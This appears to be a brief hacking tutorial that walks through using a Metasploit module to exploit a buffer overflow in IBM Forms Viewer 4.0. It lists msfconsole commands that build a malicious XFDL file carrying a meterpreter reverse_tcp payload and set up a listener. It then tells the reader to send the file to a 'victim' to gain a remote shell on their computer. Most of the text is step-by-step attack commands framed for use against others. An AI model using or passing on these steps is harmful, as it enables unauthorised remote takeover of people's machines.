Hack Remote Windows 7 PC Using IBM Forms Viewer Unicode Buffer Overflow

This module exploits a stack-based buffer overflow in IBM Forms Viewer. The vulnerability is due to a dangerous usage of strcpy-like function, and occurs while parsing malformed XFDL files, with a long fontname value. This module has been tested successfully on IBM Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1.

Exploit Targets
Windows XP SP 3
IBM Forms Viewer 4.0

Attacker: Kali Linux
Victim PC: Windows 7

Open Kali Linux terminal type msfconsole

Now type use exploit/windows/fileformat/ibm_forms_viewer_fontname
msf exploit (ibm_forms_viewer_fontname)>set payload windows/meterpreter/reverse_tcp
msf exploit (ibm_forms_viewer_fontname)>set lhost (IP of Local Host)
msf exploit (ibm_forms_viewer_fontname)>exploit

After we successfully generate the malicious xfdl File, it will stored on your local computer

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost

Now send your msf.xfdl files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
